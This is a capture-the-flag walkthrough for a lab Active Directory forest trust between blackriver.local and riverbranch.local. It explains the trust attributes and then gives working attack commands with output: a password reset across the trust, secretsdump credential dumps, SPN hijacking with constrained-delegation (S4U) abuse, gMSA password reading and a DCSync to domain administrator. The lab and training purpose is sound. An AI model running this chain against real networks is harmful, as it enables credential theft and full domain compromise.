Attribute Your value Meaning
Direction BiDirectional Both domains trust each other. Accounts from either side can potentially authenticate to resources in the other, subject to permissions and other trust controls.
DisallowTransivity False The trust has not been explicitly marked non-transitive. This field is essentially a restriction flag.
DistinguishedName CN=riverbranch.local,CN=System,DC=blackriver,DC=local LDAP location of the trustedDomain object. Importantly, this object exists inside blackriver.local and describes its relationship with riverbranch.local.
ForestTransitive True This is a forest trust, rather than a simple external trust. Trust can therefore extend across domains belonging to the two forests, subject to the trust’s configuration.
IntraForest False The two domains are not members of the same AD forest.
IsTreeParent False riverbranch.local isn’t the parent of blackriver.local in the same AD DNS namespace/tree.
IsTreeRoot False This isn’t an automatically established same-forest tree-root relationship.
Name riverbranch.local Name of the trusted domain/forest represented by this TDO.
ObjectClass trustedDomain Confirms this is an AD Trusted Domain Object (TDO).
ObjectGUID 7188... AD’s unique identifier for this particular directory object. Mostly useful when correlating LDAP/object operations.
SelectiveAuthentication False Forest-wide authentication is being used rather than selective authentication. Users from the trusted forest don’t need an explicit Allowed to Authenticate ACE merely to authenticate to machines in this forest. Normal ACL authorization still applies.
SIDFilteringForestAware False The trust isn’t using the forest-aware SID-filtering mode represented by this property.
SIDFilteringQuarantined False The trust does not have the QUARANTINED_DOMAIN trust attribute set. This matters for which SIDs contained in cross-trust authorization data are accepted.
Source DC=blackriver,DC=local The domain from whose perspective you’re viewing the trust: blackriver.local.
Target riverbranch.local The other side of the trust.
TGTDelegation False Cross-trust Kerberos TGT delegation isn’t enabled. This restricts scenarios where a service in the other forest could receive/use a user’s forwarded TGT.
TrustAttributes 8 Bitmask representing the trust’s trustAttributes. 8 (0x8) = FOREST_TRANSITIVE, which explains ForestTransitive : True.
TrustedPolicy blank No associated legacy trusted-domain policy object/value is being reported. Not super important.
TrustingPolicy blank Same general category as TrustedPolicy; Also not super important.
TrustType Uplevel Trust is with a Windows AD-style domain rather than a downlevel/NT4-style domain or MIT Kerberos realm.
UplevelOnly False The UPLEVEL_ONLY trust attribute isn’t set.
UsesAESKeys False The TDO isn’t flagged as using AES trust keys. This doesn’t mean “Kerberos cannot use AES anywhere”; it’s specifically describing the trust’s authentication material/configuration.
UsesRC4Encryption False Likewise, the corresponding trust attribute indicating RC4 use isn’t set. Don’t interpret these two properties alone as a complete inventory of Kerberos encryption actually negotiated.

What this means all broken down

blackriver.local
       ⇅
   forest trust
       ⇅
riverbranch.local

Direction:                 Bidirectional
Forest transitive:         Yes
Same forest:               No
Selective authentication:  No
TGT delegation:            No
TrustAttributes:           FOREST_TRANSITIVE (0x8)

Important: authentication across the trust is not the same as authorization to resources once you are across.

Because:

SelectiveAuthentication : False

a riverbranch.local principal doesn’t require an Allowed to Authenticate ACE on every blackriver.local computer before authentication can occur. But that absolutely does not mean:

“riverbranch users can access everything in blackriver.”

They still need whatever authorization the resource requires: such as local group membership, share ACL, NTFS ACL, AD object ACE, service permissions, etc.

SID-filtering fields

These two are easy to misread:

SIDFilteringForestAware : False
SIDFilteringQuarantined : False

They are not two versions of a boolean called “SID filtering enabled.”

AD has several trust attributes and trust-boundary rules governing what SIDs are accepted across different kinds of trusts. Since this is specifically a forest trust (FOREST_TRANSITIVE) between separate forests, Windows applies forest-trust boundary behavior that isn’t fully represented by looking at SIDFilteringQuarantined alone.

Meaning you cannot conclude from this output:

SIDFilteringQuarantined : False

that “SIDHistory attacks will pass across the trust.”

Before we go there, on the Administrator’s desktop on DC01 is RiverBranch_Access_Review.pdf with some useful information.

cross trust groups

Users in the BLACKRIVER\Branch Operations are embedded in RIVERBRANCH\Branch Support Systems and inherit whatever permissions that group has.

Also if you remember back to the shared files from forever ago, user j.torrance@riverbranch.local was directly mentioned.

a checklist of vulnerabilities

Since we can put an agent on DC01 for pivoting, we can use the referral and trust-info gathering capabilities of either bloodyAD or bloodhound-ce-python to enumerate some of the trust since we don’t have access yet.

If all I needed was a Golden Ticket, then none of this would be necessary…but alas.

We need to put a user into Branch Operations and since I’m still in my administrator session

evil-winrm-py PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Branch Operations" -Members "d.hamilton"

Then we can let dougie gather info

bloodyAD --host dc01.blackriver.local -d blackriver.local -u d.hamilton -p [REDACTED] get bloodhound --transitive

Look at that, a direct path from d.hamilton to j.torrance through the embedded cross-trust group.

hamilton to torrance path

For this we are going to need a ticket that will be respected by the riverbranch.local domain controller.

Anyways, now we have a valid ticket for a user inside the Branch Operations group which is inside the Branch Support Systems group.

which means we should be able to change j.torrance password.

bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u 'd.hamilton' -k set password 'j.torrance' [REDACTED]  
[+] Password changed successfully!
New identity
RIVERBRANCH\j.torrance

BR-OPS01

Access as BR-OPS01$

j.torrance has only one interesting writable property:

bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k get writable --detail

distinguishedName: CN=MGMT01,CN=Computers,DC=riverbranch,DC=local
servicePrincipalName: WRITE

which doesn’t seem super useful yet. It already has spns and the hash isn’t crackable. We know that MGMT01$ can read the gMSA password for svc_directory$ but we can’t get there yet.

Bloodhound does have a clue:

trusted for delegation

Digging a bit more deeply into that

nxc ldap br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k --use-kcache --find-delegation
LDAP        br-dc01.riverbranch.local 389    BR-DC01          [*] Windows 11 / Server 2025 Build 26100 (name:BR-DC01) (domain:riverbranch.local) (signing:Enforced) (channel binding:When Supported) 
LDAP        br-dc01.riverbranch.local 389    BR-DC01          [+] riverbranch.local\j.torrance from ccache 
LDAP        br-dc01.riverbranch.local 389    BR-DC01          AccountName AccountType DelegationType                     DelegationRightsTo              
LDAP        br-dc01.riverbranch.local 389    BR-DC01          ----------- ----------- ---------------------------------- --------------------------------
LDAP        br-dc01.riverbranch.local 389    BR-DC01          BR-OPS01$   Computer    Constrained w/ Protocol Transition cifs/BR-FILE01.riverbranch.local

Wait…the PDF from the FILES\Shared\IT folder said BR-FILE01 was decommissioned.

💡LIGHTBULB!

Let’s give that servicePrincipalName to MGMT01$ since we can write that property and I’m sure they won’t mind.

bloodyAD --host br-dc01.riverbranch.local -d riverbranch.local -u j.torrance -k msldap addspn "CN=MGMT01,CN=Computers,DC=riverbranch,DC=local" 'cifs/BR-FILE01.riverbranch.local'
SPN added!

If you get an error, use the full distinguishedName

But wait, only BR-OPS01$ is trusted for delegation.

Thankfully, we’re in Server Administrators and Infrastructure and we’re a local administrator on that machine.

nxc smb br-ops01.riverbranch.local -d riverbranch.local -u j.torrance -k --use-kcache --smb-timeout 60
SMB         br-ops01.riverbranch.local 445    BR-OPS01         [*] Windows 11 / Server 2025 Build 26100 x64 (name:BR-OPS01) (domain:riverbranch.local) (signing:True) (SMBv1:False)
SMB         br-ops01.riverbranch.local 445    BR-OPS01         [+] riverbranch.local\j.torrance from ccache (Gatito!)
SMB         br-ops01.riverbranch.local 445    BR-OPS01         Node J.TORRANCE@RIVERBRANCH.LOCAL successfully set as owned in BloodHound

After we make it spill all its secrets, we have the aesKey needed to request the service ticket and pinky-promise that we’re really administrator

impacket-secretsdump -k -no-pass br-ops01.riverbranch.local
impacket-getTGT 'RIVERBRANCH.LOCAL/BR-OPS01$' -aesKey [REDACTED]
New identity
RIVERBRANCH\br-ops01$

MGMT01

Access as MGMT01$

impacket-getST -spn 'cifs/BR-FILE01.riverbranch.local' \
-impersonate administrator 'RIVERBRANCH.LOCAL/BR-OPS01$' \
-aesKey [REDACTED] \
-altservice 'HOST/MGMT01.riverbranch.local'
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Changing service from cifs/BR-FILE01.riverbranch.local@RIVERBRANCH.LOCAL to HOST/MGMT01.riverbranch.local@RIVERBRANCH.LOCAL
[*] Saving ticket in administrator@HOST_MGMT01.riverbranch.local@RIVERBRANCH.LOCAL.ccache

KRB5CCNAME="administrator@HOST_MGMT01.riverbranch.local@RIVERBRANCH.LOCAL.ccache" \
impacket-secretsdump -k -no-pass mgmt01.riverbranch.local
New identity
RIVERBRANCH\mgmt01$

Access as svc_directory$

MGMT01$ can read the gMSA password for svc_directory$

netexec can accept the aesKey directly

nxc ldap br-dc01.riverbranch.local -u 'MGMT01$' -aesKey [REDACTED] --gmsa
LDAP        br-dc01.riverbranch.local 389    BR-DC01          [*] Getting GMSA Passwords
LDAP        br-dc01.riverbranch.local 389    BR-DC01          Account: svc_directory$       NTLM: [REDACTED]    PrincipalsAllowedToReadPassword: MGMT01$
LDAP        br-dc01.riverbranch.local 389    BR-DC01          Account: svc_directory$       aes128-cts-hmac-sha1-96: [REDACTED]
LDAP        br-dc01.riverbranch.local 389    BR-DC01          Account: svc_directory$       aes256-cts-hmac-sha1-96: [REDACTED]
New identity
RIVERBRANCH\svc_directory$

BR-DC01

DCSync

We’re gonna win: svc_directory$ can perform a DCSync on the domain controller.

svc_directory can DCSync

Get a ticket for svc_directory$

impacket-secretsdump -k -no-pass br-dc01.riverbranch.local
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::

Access as administrator

From the secretsdump, get the aesKey so you can get a Kerberos ticket. Then login and take your flag trophy.

evil-winrm-py PS C:\Users\Administrator\Documents> whoami /all

USER INFORMATION
----------------

User Name                 SID                                         
========================= ============================================
riverbranch\administrator S-1-5-21-2809356342-201643911-3824633363-500